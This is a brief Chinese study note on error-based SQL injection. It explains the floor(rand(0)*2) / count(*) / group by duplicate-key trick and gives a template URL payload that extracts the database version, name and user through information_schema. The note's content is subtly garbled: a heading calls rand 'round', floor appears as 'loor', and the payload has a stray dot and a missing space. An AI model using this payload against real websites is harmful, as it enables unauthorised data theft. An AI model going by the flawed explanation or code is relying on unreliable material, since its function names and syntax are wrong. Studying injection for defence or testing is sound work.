基于报错的SQL注入
select count(*),(floor(rand(0)*2))x from table group by x;
round(0)
round函数随机数函数,如果不给一个随机数种子,会生成一个0-1之间的随机数,如果给定随机数种子,这个随机数就会固定下来
floor()
取整函数,取最接近当前值的整数
count(*)
计数统计函数,把相同的结果进行一个计数
group by x
分组 x作为主键进行排序,主键不能重复,重复则报错,主键是唯一的,用来区别其他信息,报错则会把主键信息打印出来
分组和技术在一起时需要创建临时表,count(*)```group by x
一起使用时会创建临时表,x作为这张表的主键
concat floor(rand(0)*2) version
将数据拼接起来
1.数据和随机数拼接到一起作为主键
2.与group by 拼接起来
3.必须保证 表里最少有三条数据
核心问题
1.floor(rand(0)*2)
是固定的
2.要往临时表内插入数据会重新计算floor(rand(0)*2)
格式
?id=-1union select 1,2,3 from (select count(*),concat((select concat(version(),0x3a,0x3a,database(),0x3a,0x3a,user().0x3a)limit0,1),loor(rand(0)*2))x from information_schema.tables group by x)表名 --+